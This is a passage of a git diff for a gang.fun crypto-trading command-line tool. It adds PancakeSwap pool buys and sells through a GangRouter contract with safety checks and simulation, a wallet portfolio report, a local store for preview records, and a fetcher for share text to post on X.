return null } } +const short = (e) => e?.shortMessage || String(e?.message || e).split('\n')[0] + +/** A contract call that reached the chain and reverted (or got no data back), as opposed to an RPC / network failure. */ +const isRevert = (e) => !!e?.walk?.((x) => ['ContractFunctionRevertedError', 'ContractFunctionZeroDataError', 'ExecutionRevertedError'].includes(x?.name) || x?.code === 3) + +/** A failure the command prints as is (a thrown PoolError ends poolTrade with { success: false, …fields }). */ +class PoolError extends Error { + constructor(message, fields = {}) { super(message); this.fields = fields } +} +const rpcError = (what, e) => new PoolError(`RPC error while ${what}: ${short(e)}`, { hint: 're-run; set GANG_RPC_URL / GANG_TESTNET_RPC_URL if the RPC keeps failing' }) + +/** Last hop of Pancake getAmountsOut; a revert = no usable pool on the path, anything else = the RPC. */ +async function amountOut(ctx, dex, amountIn, path) { + try { + const amounts = await ctx.read(dex, DEX_ABI, 'getAmountsOut', [amountIn, path]) + return amounts[amounts.length - 1] + } catch (e) { + if (!isRevert(e)) throw rpcError('quoting on PancakeSwap', e) + throw new PoolError(`PancakeSwap has no usable pool on the path ${path.join(' → ')}`, { path, detail: short(e), noPool: true }) + } +} + +const ROUTER_VIEW_ABI = parseAbi([ + 'function pad() view returns (address)', 'function wbnb() view returns (address)', 'function pancakeRouter() view returns (address)', +]) + +/** + * ctx.router must be a GangRouter with the pool functions, checked before any step is built (an approve to anything + * else would hand it the tokens): a contract; not a known DEX router nor the tax handler's dexRouter(); pad() (= ctx.pad + * for V3 / 打新) and wbnb() (= this chain's) readable; and pancakeRouter() — only the pool version has it — which is + * also where the quotes come from. Returns the Pancake router; throws a PoolError otherwise. + */ +async function gangRouter(ctx, handler, wantPad) { + const r = ctx.router + const notGang = (why) => new PoolError(`the router address ${r} is not a GangRouter (${why})`, { + router: r, hint: `set ${Number(ctx.chainId) === 56 ? 'GANG_ROUTER' : 'GANG_TESTNET_ROUTER'} to the GangRouter proxy`, + }) + let code + try { code = await ctx.client.getCode({ address: r }) } catch (e) { throw rpcError('reading the router', e) } + if (!code || code === '0x') throw notGang(`no contract at it on chain ${ctx.chainId}`) + if (DEX_ROUTERS.some((d) => same(d, r))) throw notGang('it is the PancakeSwap V2 router') + if (handler) { + const dex = await ctx.read(handler, HANDLER_DEX_ABI, 'dexRouter').catch(() => null) + if (dex && same(dex, r)) throw notGang('it is the tax handler\'s dexRouter') + } + const view = async (fn) => { + try { return await ctx.read(r, ROUTER_VIEW_ABI, fn) } catch (e) { + if (!isRevert(e)) throw rpcError('reading the router', e) + return null + } + } + const [pad, wbnb, pancake] = [await view('pad'), await view('wbnb'), await view('pancakeRouter')] + if (!pad || !wbnb) throw notGang('it has no pad() / wbnb()') + if (!same(wbnb, ctx.wbnb)) throw notGang(`its wbnb() is ${wbnb}, not this chain's WBNB`) + if (wantPad && !same(pad, wantPad)) throw notGang(`its pad() is ${pad}, not this CLI's pad ${wantPad}`) + if (!pancake || pancake === zeroAddress) { + throw new PoolError(`the GangRouter at ${r} is an older version without PancakeSwap trades (no pancakeRouter() / pool functions)`, { + router: r, hint: 'it cannot trade in the pool and cannot be upgraded: use a CLI / GANG_ROUTER that points at the new GangRouter proxy, or trade on PancakeSwap directly', + }) + } + return pancake +} + +/** + * The pool function itself answers: called with a zero amount, the pool version reverts ZeroAmount() before touching + * anything. No answer (empty revert) = no such function on this router: refused before any approve. + */ +async function probePool(ctx, me, functionName, args, revertOf) { + const data = encodeFunctionData({ abi: ROUTER_ABI, functionName, args }) + try { + await ctx.client.call({ account: me, to: ctx.router, data, value: 0n }) + } catch (e) { + if (!isRevert(e)) throw rpcError('checking the router', e) + if (revertOf(e)?.error === 'ZeroAmount') return + if (isMissingFunction(e)) { + throw new PoolError(`the router at ${ctx.router} has no ${functionName}: not the GangRouter version with pool trades`, { + router: ctx.router, hint: 'use a CLI / GANG_ROUTER that points at the new GangRouter proxy, or trade on PancakeSwap directly', + }) + } + throw new PoolError(`the router at ${ctx.router} answered ${functionName} unexpectedly`, { router: ctx.router, ...(revertOf(e) || { detail: short(e) }) }) + } + throw new PoolError(`the router at ${ctx.router} accepted a zero-amount ${functionName}: not a GangRouter`, { router: ctx.router }) +} + +/** + * What the wallet still has to do before `need` of `token` can be pulled by the router: a WBNB wrap when it is WBNB and + * the wallet is short, then an approve for exactly `need`. [] when ready; { error } when it cannot pay. + */ +async function fundingOf(ctx, { me, token, need, spender, sym, approveStep }) { + const bal = await ctx.read(token, ERC20_ABI, 'balanceOf', [me]) + const steps = [] + if (bal < need) { + if (!same(token, ctx.wbnb)) { + return { error: { error: `not enough ${sym || 'tokens'}`, have: await units(ctx, token, bal), need: await units(ctx, token, need) } } + } + const missing = need - bal + const native = await ctx.client.getBalance({ address: me }) + if (native < missing + GAS_RESERVE) { + return { error: { error: 'not enough BNB + WBNB (native BNB must also cover gas)', haveBnb: formatUnits(native, 18), needBnb: formatUnits(missing, 18), reserveForGas: formatUnits(GAS_RESERVE, 18) } } + } + steps.push({ + tx: { from: me, to: token, data: encodeFunctionData({ abi: WBNB_ABI, functionName: 'deposit' }), value: missing }, + meta: { step: 'wrap-bnb', wrap: formatUnits(missing, 18) }, + }) + } + if ((await ctx.read(token, ERC20_ABI, 'allowance', [me, spender])) < need) { + steps.push({ + tx: { from: me, to: token, data: encodeFunctionData({ abi: ERC20_ABI, functionName: 'approve', args: [spender, need] }) }, + meta: { step: approveStep, approve: await units(ctx, token, need), token, spender, note: 'only this trade\'s amount is approved' }, + }) + } + return { steps } +} + +/** + * Pay a pool buy in native BNB? WBNB-quoted: yes unless --use-quote (or the curve's --use-wbnb); another quote: only + * with --pay-bnb (path WBNB → quote → token). + */ +export const poolPayBnb = (ctx, quote, flag) => + (!quote || quote === zeroAddress || same(quote, ctx.wbnb) ? !flag('use-quote') && !flag('use-wbnb') : flag('pay-bnb')) + +const rawTx = (ctx, { from, to, data, value = 0n, gas = null }) => ({ chainId: Number(ctx.chainId), from, to, data, value: value.toString(), ...(gas && { gas: gas.toString() }) }) + +/** + * Build a PancakeSwap trade through GangRouter. Returns the object the command prints. + * p: { side: 'buy'|'sell', token, quote, me, amount (decimal string; sell: null with all), all, slippage, + * buyTaxBps, sellTaxBps, handler (gang tax handler or null), swapBackGas (taxed gang token: the 700k note), + * payBnb (buy), toBnb (sell), base (fields every step carries), + * gasFloor (optional: the swap gets roomyGas(…, gasFloor) as its gas limit) } + * io: { rawOnly, summarize, revertOf } — revertOf(e) → { error, hint } | null + */ +export async function poolTrade(ctx, p, io) { + try { + return await build(ctx, p, io) + } catch (e) { + if (!(e instanceof PoolError)) throw e + return { success: false, ...(p.base || {}), step: `pool-${p.side}`, error: e.message, ...e.fields } + } +} + +async function build(ctx, p, { rawOnly, summarize, revertOf }) { + const { side, token, me, slippage, base = {} } = p + const quote = !p.quote || p.quote === zeroAddress ? ctx.wbnb : p.quote + const quoteWbnb = same(quote, ctx.wbnb) + const failOut = (o) => ({ success: false, ...base, ...o }) + if (!ctx.router) { + return failOut({ step: `pool-${side}`, error: 'no GangRouter address for this network in this CLI version', hint: `set ${Number(ctx.chainId) === 56 ? 'GANG_ROUTER' : 'GANG_TESTNET_ROUTER'} to the GangRouter proxy, or trade on PancakeSwap directly` }) + } + const dex = await gangRouter(ctx, p.handler, ctx.pad || null) + const quoteSymbol = (await symbolOf(ctx, quote)) || quote + const deadline = routerDeadline() + const taxPct = (bps) => (bps || 0) / 100 + let call, probe, value = 0n, pull = null, fields, guard = null + try { + if (side === 'buy') { + const payBnb = !!p.payBnb + const amountIn = parseUnits(p.amount, payBnb ? 18 : await decimalsOf(ctx, quote)) + if (amountIn === 0n) throw new PoolError(`--amount ${p.amount} rounds to 0 in ${payBnb ? 'BNB' : quoteSymbol}`) + const path = payBnb ? (quoteWbnb ? [ctx.wbnb, token] : [ctx.wbnb, quote, token]) : [quote, token] + const gross = await amountOut(ctx, dex, amountIn, path) + const expect = lessBps(gross, p.buyTaxBps || 0) + const minOut = minOf(expect, slippage) + if (payBnb) { + const native = await ctx.client.getBalance({ address: me }).catch((e) => { throw rpcError('reading the BNB balance', e) }) + if (native < amountIn + GAS_RESERVE) { + return failOut({ + step: 'pool-buy', error: 'not enough BNB for this buy (native BNB must also cover gas)', + haveBnb: formatUnits(native, 18), needBnb: p.amount, reserveForGas: formatUnits(GAS_RESERVE, 18), + ...(quoteWbnb && { hint: 'add --use-quote to pay from WBNB instead' }), + }) + } + call = { functionName: 'poolBuyBNB', args: [token, quote, minOut, deadline] } + probe = [token, quote, 0n, deadline] + value = amountIn + } else { + call = { functionName: 'poolBuy', args: [token, quote, amountIn, minOut, deadline] } + probe = [token, quote, 0n, 0n, deadline] + pull = { token: quote, need: amountIn, sym: quoteSymbol, approveStep: 'approve-quote' } + } + fields = { + step: 'pool-buy', venue: 'pancakeswap', via: 'router', router: ctx.router, function: call.functionName, + spend: p.amount, payWith: payBnb ? 'BNB' : quoteSymbol, quote: quoteSymbol, path, + expectTokensBeforeTax: formatUnits(gross, 18), buyTaxPct: taxPct(p.buyTaxBps), + expectTokens: formatUnits(expect, 18), minTokensOut: formatUnits(minOut, 18), slippagePct: slippage, + deadline: Number(deadline), quotedWith: 'getAmountsOut', + note: `the tokens go straight to ${me}; minTokensOut = getAmountsOut less the ${taxPct(p.buyTaxBps)}% buy tax, less --slippage (the buy reverts below it)`, + } + } else { + const bal = await ctx.read(token, ERC20_ABI, 'balanceOf', [me]).catch((e) => { throw rpcError('reading the token balance', e) }) + if (bal === 0n) return failOut({ step: 'pool-sell', error: 'no balance to sell', wallet: me }) + const amount = p.all ? bal : parseUnits(p.amount, 18) + if (amount === 0n) throw new PoolError(`--amount ${p.amount} rounds to 0 tokens`) + if (amount > bal) return failOut({ step: 'pool-sell', error: 'amount exceeds balance', balance: formatUnits(bal, 18) }) + // the creator's own bond: refuse a sell that breaks it (unless --break-bond), settle first past the deadline + if (p.bond) { + guard = await bondGuard(ctx, { token, me, amount, ...p.bond }, rawOnly, summarize) + if (guard?.refuse) return failOut({ step: 'pool-sell', wallet: me, ...guard.refuse }) + if (guard?.settleStep) return guard.settleStep + } + const taxed = (p.sellTaxBps || 0) > 0 + let quoteOut, quotedWith + if (taxed && p.handler) { + // a taxed gang token: only the handler's quote counts the chunk of held tax sold right before the sell + const q = await poolSellQuote(ctx, p.handler, token, amount) + if (!q) throw new PoolError('the tax handler gave no sell quote (RPC error or revert): no minimum is guessed for a taxed sell', { handler: p.handler, hint: 're-run' }) + if (q.out === 0n) throw new PoolError('the tax handler quotes 0 for this sell (the token has no pool tax pair set): no minimum to sell against', { handler: p.handler }) + quoteOut = q.out; quotedWith = q.quotedWith + } else { + // untaxed, or a V2 token (its tax handler sells nothing during the sell): getAmountsOut of what reaches the pair + quoteOut = await amountOut(ctx, dex, lessBps(amount, p.sellTaxBps || 0), [token, quote]) + quotedWith = 'getAmountsOut' + } + const toBnb = !!p.toBnb + const path = toBnb && !quoteWbnb ? [token, quote, ctx.wbnb] : [token, quote] + const out = toBnb && !quoteWbnb ? await amountOut(ctx, dex, quoteOut, [quote, ctx.wbnb]) : quoteOut + const minOut = minOf(out, slippage) + call = { functionName: toBnb ? 'poolSellForBNB' : 'poolSell', args: [token, quote, amount, minOut, deadline] } + probe = [token, quote, 0n, 0n, deadline] + pull = { token, need: amount, sym: null, approveStep: 'approve' } + const outDec = toBnb ? 18 : await decimalsOf(ctx, quote) + fields = { + step: 'pool-sell', venue: 'pancakeswap', via: 'router', router: ctx.router, function: call.functionName, + amount: formatUnits(amount, 18), receive: toBnb ? 'BNB' : quoteSymbol, quote: quoteSymbol, path, + sellTaxPct: taxPct(p.sellTaxBps), expectOut: formatUnits(out, outDec), minOut: formatUnits(minOut, outDec), slippagePct: slippage, + deadline: Number(deadline), quotedWith, + ...(toBnb && !quoteWbnb && { expectQuoteBeforeBnb: await units(ctx, quote, quoteOut) }), + gas: p.gasFloor ? 'the gas limit is set in this tx (gasLimit)' : p.swapBackGas ? POOL_SELL_GAS_NOTE : 'let the wallet estimate gas', + ...guard?.info, + note: quotedWith === 'getAmountsOut' + ? `minOut = getAmountsOut of the amount less the ${taxPct(p.sellTaxBps)}% sell tax${toBnb && !quoteWbnb ? ' (then quote → WBNB)' : ''}, less --slippage (the sell reverts below it)` + : `minOut = the tax handler's ${quotedWith} (sell tax and the chunk of held tax sold first included, as of the next block)${toBnb && !quoteWbnb ? ', then getAmountsOut quote → WBNB' : ''}, less --slippage (the sell reverts below it)`, + } + } + } catch (e) { + if (e instanceof PoolError && e.fields.noPool) { + // a BNB leg through a non-WBNB quote needs a WBNB/quote pool on Pancake as well + const bnbLeg = !quoteWbnb && (side === 'buy' ? p.payBnb : p.toBnb) + const { noPool: _n, ...f } = e.fields + return failOut({ + step: `pool-${side}`, error: e.message, ...f, + ...(bnbLeg && { hint: `no WBNB/${quoteSymbol} pool to route through: ${side === 'buy' ? 'drop --pay-bnb to pay with the quote' : 'drop --to-bnb to receive the quote'}` }), + }) + } + throw e + } + + // the router has this pool function (an old router is refused here, before any approve) + await probePool(ctx, me, call.functionName, probe, revertOf) + const swap = { from: me, to: ctx.router, data: encodeFunctionData({ abi: ROUTER_ABI, ...call }), value } + const pre = pull ? await fundingOf(ctx, { me, ...pull, spender: ctx.router }) : { steps: [] } + if (pre.error) return failOut({ step: fields.step, ...pre.error }) + const extra = { chainId: Number(ctx.chainId), token, ...base } + + if (pre.steps.length) { + if (rawOnly) { + // raw txs: every step in order (the swap is not simulated: it needs the steps before it on-chain, so its gas + // limit is the floor) + const last = p.gasFloor ? { ...swap, gas: p.gasFloor } : swap + const steps = [...pre.steps.map((s) => ({ ...s.meta, tx: rawTx(ctx, s.tx) })), { step: fields.step, function: fields.function, tx: rawTx(ctx, last) }] + return { + success: true, ...extra, ...fields, step: steps[0].step, steps, tx: steps[0].tx, + note: `send the ${steps.length} txs in steps[] in order (tx = the first); the ${fields.step} is not simulated until the ${steps.slice(0, -1).map((s) => s.step).join(' / ')} is mined. ${fields.note}`, + } + } + const first = pre.steps[0] + return step(ctx, first.tx, { + ...extra, ...first.meta, next: fields.step, + then: { function: fields.function, ...(side === 'buy' ? { spend: fields.spend, minTokensOut: fields.minTokensOut } : { amount: fields.amount, minOut: fields.minOut }) }, + note: `${first.meta.note ? `${first.meta.note}. ` : ''}after executing, re-run the same command for the ${pre.steps.length > 1 ? 'next step' : fields.step}`, + }, false, summarize) + } + + // eth_call the swap: a revert names the reason (router / pool / token) and builds no preview + try { + await ctx.client.call({ account: me, to: swap.to, data: swap.data, value: swap.value }) + } catch (e) { + if (!isRevert(e)) throw rpcError('simulating the trade', e) + const r = revertOf(e) + return failOut({ + ...extra, ...fields, reverted: true, ...(r || { error: short(e) }), + // no `tx` key: nothing here is meant to be signed + ...(rawOnly && { doNotSend: true, unsentTxForInspection: rawTx(ctx, swap), txNote: 'DO NOT SEND: the simulation reverted; shown for inspection only' }), + }) + } + if (p.gasFloor) { + try { swap.gas = await roomyGas(ctx, swap, p.gasFloor) } catch (e) { + return failOut({ ...extra, ...fields, reverted: true, ...(revertOf(e) || { error: short(e) }) }) + } + } + return step(ctx, swap, { ...extra, ...fields, ...(swap.gas && { gasLimit: swap.gas.toString() }) }, rawOnly, summarize) +} diff --git a/src/portfolio.js b/src/portfolio.js new file mode 100644 index 0000000..b4be31a --- /dev/null +++ b/src/portfolio.js @@ -0,0 +1,258 @@ +/** + * `gang portfolio`: one wallet's holdings on every gang.fun track (V3, 打新, 铸币飞轮, V2 / Soft / U / S) in one answer, plus its + * trading record, the bonds on the tokens it launched and the creator fee they keep for it (GangLaunchpad 2.0). + * + * Which tokens: gang.fun's index of the wallet's curve and sale trades (/agents//positions), which also gives the + * cost basis, the average price, the realized PnL and the USD price of each quote. Balance, value and what is claimable + * are then read on chain, with the same reads as `gang status` (statusOf). A token the wallet only received by transfer, + * or only bought on PancakeSwap, is not in that index and so not listed. Mainnet only: gang.fun indexes no testnet. + */ + +import { mapLimit } from './limit.js' + +const MAX_LAUNCHES = 100 // bonds are looked up on the newest launches up to this many + +const num = (v) => (v == null || v === '' ? null : Number(v)) +// display rounding of values (balances stay as read, an agent may sell them): 6 significant digits, no float noise +const round = (x) => (x == null || !Number.isFinite(x) ? null : Number(x.toPrecision(6))) +const usd = (x) => (x == null || !Number.isFinite(x) ? null : Math.round(x * 100) / 100) +const sameAmount = (a, b) => a != null && b != null && Math.abs(a - b) <= Math.max(Math.abs(a), Math.abs(b)) * 1e-9 + + +const KIND = { v3: 'v3', fair: 'fair', fly: 'fly', main: 'legacy', stocks: 'legacy' } + +/** + * One indexed position + its on-chain status → a holding, or null when nothing is left (no balance, no shares, nothing + * to claim). value: what the holding is worth now in its quote, and `valueBasis` says how it was priced. + */ +function holdingOf(p, kind, s) { + const quoteUsd = num(p.quoteUsd) ?? (num(p.valueUsd) != null && num(p.valueQuote) > 0 ? num(p.valueUsd) / num(p.valueQuote) : null) + const base = { token: p.address, symbol: p.symbol, kind, track: p.track, quote: p.quoteSymbol } + let balance = null, shares = null, value = null, valueBasis = null, claimable = null, graduated = false, extra = {} + // what the index holds for this wallet: tokens bought on the curve minus sold (at graduation for a graduated one) + const indexed = num(p.balance ?? p.balanceAtGrad) + + if (kind === 'v3') { + graduated = !!s.graduated + balance = num(s.balance) + if (graduated) { + value = num(s.poolSellAll?.expectOut) ?? (balance === 0 ? 0 : null) + valueBasis = s.poolSellAll ? 'selling it all into the pool now, tax included' : null + } else { + value = balance != null && num(p.priceQuote) != null ? balance * num(p.priceQuote) : null + valueBasis = 'last curve price (a sell pays the 1% curve fee on top)' + } + if (num(s.dividendPct) > 0) claimable = num(s.dividend?.claimable) + } else if (kind === 'fair') { + const pos = s.position || {} + graduated = !!s.sale?.launched + shares = num(pos.shares) + if (!graduated) { + // before launch the tokens sit in the pad: the position is shares, worth what withdrawing them all pays now + balance = num(pos.baselineTokens) + value = num(pos.sellBackAll) ?? (shares ? null : 0) + valueBasis = 'withdrawing every share now (gang withdraw --all)' + } else { + balance = num(pos.balance) + value = num(pos.poolSellAll?.expectOut) ?? (balance === 0 ? 0 : null) + valueBasis = pos.poolSellAll ? 'selling it all into the pool now, tax included' : null + claimable = num(pos.pendingReward) + extra = { + reward: pos.reward ?? null, + ...(pos.sellableBeforeOut != null && { sellableBeforeOut: pos.sellableBeforeOut }), + ...(pos.note && { note: pos.note }), + } + } + } else if (kind === 'fly') { + // 铸币飞轮: the minted tokens are in the wallet from the first mint (locked until launch) + const pos = s.position || {} + graduated = !!s.sale?.launched + shares = num(pos.preShares) + balance = num(pos.balance) + if (!graduated) { + // filled and waiting for its launch: no sell-back (it reopens only if the launch does not come within 7 days) + value = num(pos.sellBackAll) ?? (shares ? null : 0) + valueBasis = pos.sellBackAll != null ? 'selling every pre-launch share back now (gang withdraw --all)' : 'sell-back is closed until the launch' + extra = { saleStatus: s.sale?.status ?? null, ...(s.sale?.sellBackOpen === false && { sellBackOpen: false }) } + } else { + value = num(pos.poolSellAll?.expectOut) ?? (balance === 0 ? 0 : null) + valueBasis = pos.poolSellAll ? 'selling it all into the pool now, tax included' : null + claimable = num(pos.pendingReward) + extra = { + reward: pos.reward ?? null, quotaLeft: pos.quotaLeft ?? null, + ...(pos.sellableBeforeOut != null && { sellableBeforeOut: pos.sellableBeforeOut }), + ...(pos.note && { note: pos.note }), + } + } + } else { + graduated = !!s.graduated + // myBalance is formatted with thousands separators: the raw wei is the number + balance = s.myBalanceRaw != null ? Number(BigInt(s.myBalanceRaw)) / 1e18 : null + if (!graduated && balance != null && num(p.priceQuote) != null) { + value = balance * num(p.priceQuote) + valueBasis = 'last curve price (a sell pays the curve fee on top)' + } else if (balance === 0) { + value = 0 + } else { + extra = { valueNote: `not priced: gang sell --token ${p.address} --all previews what the pool pays` } + } + } + + // what is held: shares while a 打新 sale is minting (the tokens sit in the pad), tokens otherwise (after launch the + // shares only record what was minted) + const minting = (kind === 'fair' || kind === 'fly') && !graduated + const held = minting ? shares : balance + if (!(held > 0) && !(claimable > 0)) return null + + // the cost basis covers what the index saw; once the balance moved outside it (a transfer, a PancakeSwap trade) it + // no longer describes these tokens + const costComparable = sameAmount(balance, indexed) + const cost = num(p.costQuote) + const unrealized = costComparable && value != null && cost != null ? value - cost : null + const next = [] + // a filled 铸币飞轮 sale takes no sell-back: it launches next (anyone may), then its tokens sell in the pool + const filled = kind === 'fly' && minting && s.sale?.sellBackOpen === false + if (held > 0) { + next.push(filled ? `gang fly launch --token ${p.address}` : minting ? `gang withdraw --token ${p.address} --all` : `gang sell --token ${p.address} --all`) + } + if (claimable > 0) next.push(`gang claim --token ${p.address}`) + return { + ...base, + status: kind === 'fly' && minting ? (s.sale?.status ?? 'minting') : minting ? 'minting' : graduated ? (kind === 'fair' || kind === 'fly' ? 'launched' : 'graduated') : 'curve', + balance, ...(shares != null && { shares }), + value: round(value), valueUsd: quoteUsd != null && value != null ? usd(value * quoteUsd) : null, valueBasis, + cost: round(cost), avgPrice: num(p.avgPrice), + unrealized: round(unrealized), unrealizedUsd: quoteUsd != null && unrealized != null ? usd(unrealized * quoteUsd) : null, + ...(!costComparable && { + costNote: 'the balance moved outside the curve / sale trades gang.fun indexes (a transfer or a PancakeSwap trade): cost and unrealized do not describe it', + }), + realized: round(num(p.realizedQuote)), realizedUsd: num(p.realizedUsd), + claimable: round(claimable), claimableUsd: quoteUsd != null && claimable != null ? usd(claimable * quoteUsd) : null, + quoteUsd, + ...extra, + link: `https://gang.fun/token/${p.address}`, + next, + } +} + +/** + * A holding the wallet bonded (its own active bond): selling below the bonded X loses the bond, so the holding says how + * much can go and `next` sells at most that (gang sell refuses more without --break-bond anyway). + */ +function withBond(h, b) { + // the bond's own headroom (creator balance − X, exact; negative once broken), so the amount never rounds up past it + const free = b.headroomTokens == null ? null : String(b.headroomTokens).startsWith('-') ? '0' : String(b.headroomTokens) + const rest = h.next.filter((c) => !c.startsWith('gang sell ')) + return { + ...h, + bonded: { + holdTokens: num(b.holdTokens), sellableKeepingBond: num(free), deadline: b.deadline ?? null, + note: 'selling below holdTokens before the bond is settled loses the whole bond', + }, + next: [...(num(free) > 0 ? [`gang sell --token ${h.token} --amount ${free}`] : []), ...rest, `gang bond status --token ${h.token}`], + } +} + +/** A bond view (`gang bond status`) → the fields a portfolio shows; null when the token has none. */ +function bondRow(l, b) { + if (!b || b.state === 'none') return null + return { + token: l.address, symbol: l.symbol, state: b.state, bond: b.bond ?? null, quote: b.quote ?? null, + holdTokens: b.holdTokens ?? null, creatorBalance: b.creatorBalance ?? null, headroomTokens: b.headroomTokens ?? null, + ...(b.violated != null && { violated: b.violated }), ...(b.phase && { phase: b.phase }), deadline: b.deadline ?? null, + ...(b.note && { note: b.note }), + next: `gang bond status --token ${l.address}`, + } +} + +/** + * wallet: 0x address. get(path) → JSON or null (discover.js get). statusOf(kind, token, wallet, position) → the + * `gang status` result of that kind, or throws (legacy: tokenInfo, or { graduated, myBalanceRaw } for a token no known + * pad has). bondOf(token) → the `gang bond status` view, or throws. creatorFeesOf(wallet) → creatorfee.js creatorFeeList + * (the wallet's 2.0 tokens and their creator fee, read on chain), or throws; optional. + */ +export async function portfolio({ wallet, get, statusOf, bondOf, creatorFeesOf, concurrency = 6 }) { + const w = wallet.toLowerCase() + const [profile, positions, launches, fees] = await Promise.all([ + get(`/agents/${w}`), + get(`/agents/${w}/positions`), + get(`/agents/${w}/launches?limit=${MAX_LAUNCHES}`), + creatorFeesOf ? creatorFeesOf(wallet).catch((e) => ({ error: e.message })) : null, + ]) + if (!Array.isArray(positions?.items)) throw new Error('gang API has no positions at /agents//positions') + + const errors = [] + if (fees?.error) errors.push({ creatorFee: fees.error }) + const rows = await mapLimit(positions.items, concurrency, async (p) => { + const kind = KIND[p.track] + if (!kind) return null + try { + return holdingOf(p, kind, await statusOf(kind, p.address, wallet, p)) + } catch (e) { + errors.push({ token: p.address, symbol: p.symbol, error: e.message }) + return null + } + }) + // bonds cover GangLaunchpad tokens only (V3 / 打新) + const ours = (launches?.items ?? []).filter((l) => l.track === 'v3' || l.track === 'fair') + const views = new Map() + const bonds = (await mapLimit(ours, concurrency, async (l) => { + try { + const b = await bondOf(l.address) + views.set(l.address.toLowerCase(), b) + return bondRow(l, b) + } catch (e) { + errors.push({ token: l.address, symbol: l.symbol, error: `bond: ${e.message}` }) + return null + } + })).filter(Boolean) + + const holdings = rows.filter(Boolean) + .map((h) => { + const b = views.get(h.token.toLowerCase()) + return b?.state === 'active' ? withBond(h, b) : h + }) + .sort((a, b) => (b.valueUsd ?? -1) - (a.valueUsd ?? -1)) + + const sum = (key) => usd(holdings.reduce((s, h) => s + (h[key] ?? 0), 0)) + const unpriced = holdings.filter((h) => h.valueUsd == null).length + const t = profile?.trade ?? {} + const l = profile?.launch ?? {} + return { + success: true, wallet, handle: profile?.handle ?? null, + totals: { + holdings: holdings.length, valueUsd: sum('valueUsd'), unrealizedUsd: sum('unrealizedUsd'), claimableUsd: sum('claimableUsd'), + ...(unpriced && { unpriced, unpricedNote: 'holdings without a USD value are left out of valueUsd' }), + }, + holdings, + record: { + buys: t.buys ?? null, sells: t.sells ?? null, tokensTraded: t.tokens ?? null, volumeUsd: t.volumeUsd ?? null, + realizedPnlUsd: t.realizedPnlUsd ?? null, gradHits: t.gradHits ?? null, + launches: l.count ?? null, launchesGraduated: l.graduated ?? null, + }, + bonds, + ...creatorFeeRows(fees), + ...(launches?.hasMore && { bondsNote: `bonds were looked up on the newest ${MAX_LAUNCHES} launches only` }), + ...(errors.length && { errors }), + note: 'Holdings are the tokens gang.fun saw this wallet trade on a curve or sale; balance and value are read on chain now. ' + + 'Tokens only received by transfer or only bought on PancakeSwap are not listed. USD uses each quote\'s price now. Data, not advice.', + } +} + +/** + * The 2.0 creator fee waiting for this wallet on the tokens it created: { creatorFees: { tokens, totals } } with the + * tokens that have some, or nothing when the network has no 2.0 pad (or the read failed: then it is in errors). + */ +function creatorFeeRows(fees) { + if (!fees?.scanned?.length) return {} + const due = fees.tokens.filter((x) => x.claimableRaw !== '0') + return { + creatorFees: { + tokens: due.map((x) => ({ token: x.token, symbol: x.symbol, quote: x.quoteSymbol, claimable: num(x.claimable), padGen: x.padGen, next: `gang creator-fee --token ${x.token} --claim` })), + totals: fees.totals.filter((x) => num(x.claimable) > 0), + note: 'GangLaunchpad 2.0 / 3.0 keep 70% of the 1% curve fee of your V3 tokens for you; gang creator-fee lists every one of them', + }, + } +} + +export const _test = { holdingOf, bondRow, withBond, mapLimit, creatorFeeRows } diff --git a/src/previews.js b/src/previews.js new file mode 100644 index 0000000..1eff328 --- /dev/null +++ b/src/previews.js @@ -0,0 +1,60 @@ +/** + * What a preview carried, by requestId: { kind, noted, followed } for `gang execute`'s report, the call's fingerprint + * (print, chainId: baw.js bawPreview) and, once an execute waits for Binance App approval, { pendingAt, orderId } and + * later the txHash `gang tx --pending` found (pending.js). /previews/.json, kept 24h; each + * write merges into the record. Best effort: the calldata is already fixed by the preview, a missing record only drops + * the execute-time follow link / no-note reminder, or leaves a pending trade to `gang tx --hash`. + */ +import { createHash } from 'node:crypto' +import { mkdirSync, readdirSync, readFileSync, renameSync, rmSync, statSync, unlinkSync, writeFileSync } from 'node:fs' +import { join } from 'node:path' +import { DIR } from './notes.js' + +const PDIR = join(DIR, 'previews') +const TTL_MS = 24 * 3600_000 +const pathOf = (requestId) => join(PDIR, `${createHash('sha256').update(String(requestId)).digest('hex').slice(0, 32)}.json`) + +export function rememberPreview(requestId, data) { + try { + // first use of previews/: drop the follows/ dir 0.6.0 kept follow links in + if (mkdirSync(PDIR, { recursive: true, mode: 0o700 })) rmSync(join(DIR, 'follows'), { recursive: true, force: true }) + for (const name of readdirSync(PDIR)) { + const p = join(PDIR, name) + try { if (Date.now() - statSync(p).mtimeMs > TTL_MS) unlinkSync(p) } catch { /* already gone */ } + } + const p = pathOf(requestId) + let prev = {} + try { prev = JSON.parse(readFileSync(p, 'utf8')) } catch { /* new record */ } + const rec = { ...prev, ...data, requestId: String(requestId), createdAt: prev.createdAt ?? Date.now() } + writeFileSync(`${p}.${process.pid}.tmp`, JSON.stringify(rec), { mode: 0o600 }) + renameSync(`${p}.${process.pid}.tmp`, p) + } catch { /* see above */ } +} + +/** Every record from the last 24h. */ +function records() { + let names = [] + try { names = readdirSync(PDIR) } catch { return [] } + const out = [] + for (const name of names) { + if (!name.endsWith('.json')) continue + try { + const e = JSON.parse(readFileSync(join(PDIR, name), 'utf8')) + if (e.createdAt > Date.now() - TTL_MS) out.push(e) + } catch { /* unreadable: skip */ } + } + return out +} + +/** Executes still waiting for Binance App approval (no txHash found yet), oldest first. */ +export const pendingPreviews = () => records().filter((e) => e.pendingAt && !e.txHash).sort((a, b) => a.pendingAt - b.pendingAt) + +/** The tx hashes already given to a pending record: never handed to another one. */ +export const claimedTxHashes = () => records().filter((e) => e.txHash).map((e) => e.txHash) + +export function previewFor(requestId) { + try { + const e = JSON.parse(readFileSync(pathOf(requestId), 'utf8')) + return e.createdAt > Date.now() - TTL_MS ? e : null + } catch { return null } +} diff --git a/src/share.js b/src/share.js new file mode 100644 index 0000000..e0f6ee9 --- /dev/null +++ b/src/share.js @@ -0,0 +1,34 @@ +/** + * Ready-to-post text for X (GET /api/share): after a note is published (?note=) or a token is created + * (?token=&event=create). gang.fun returns { text, url, image }: English, at most 240 characters, the page link + * whose card X renders from its og tags. The agent offers it to the user; nothing is ever posted from here. + * A tx gang.fun hasn't indexed yet answers 404: one retry after 3s, then the result goes without `share`. + */ +import { API } from './discover.js' +import { UA } from './version.js' + +const TIMEOUT_MS = 5_000 +const RETRY_MS = 3_000 +export const SHARE_NOTE = 'Offer this to the user to post on X: text already ends with the link. Never post it on their behalf.' + +async function fetchShare(q) { + try { + const r = await 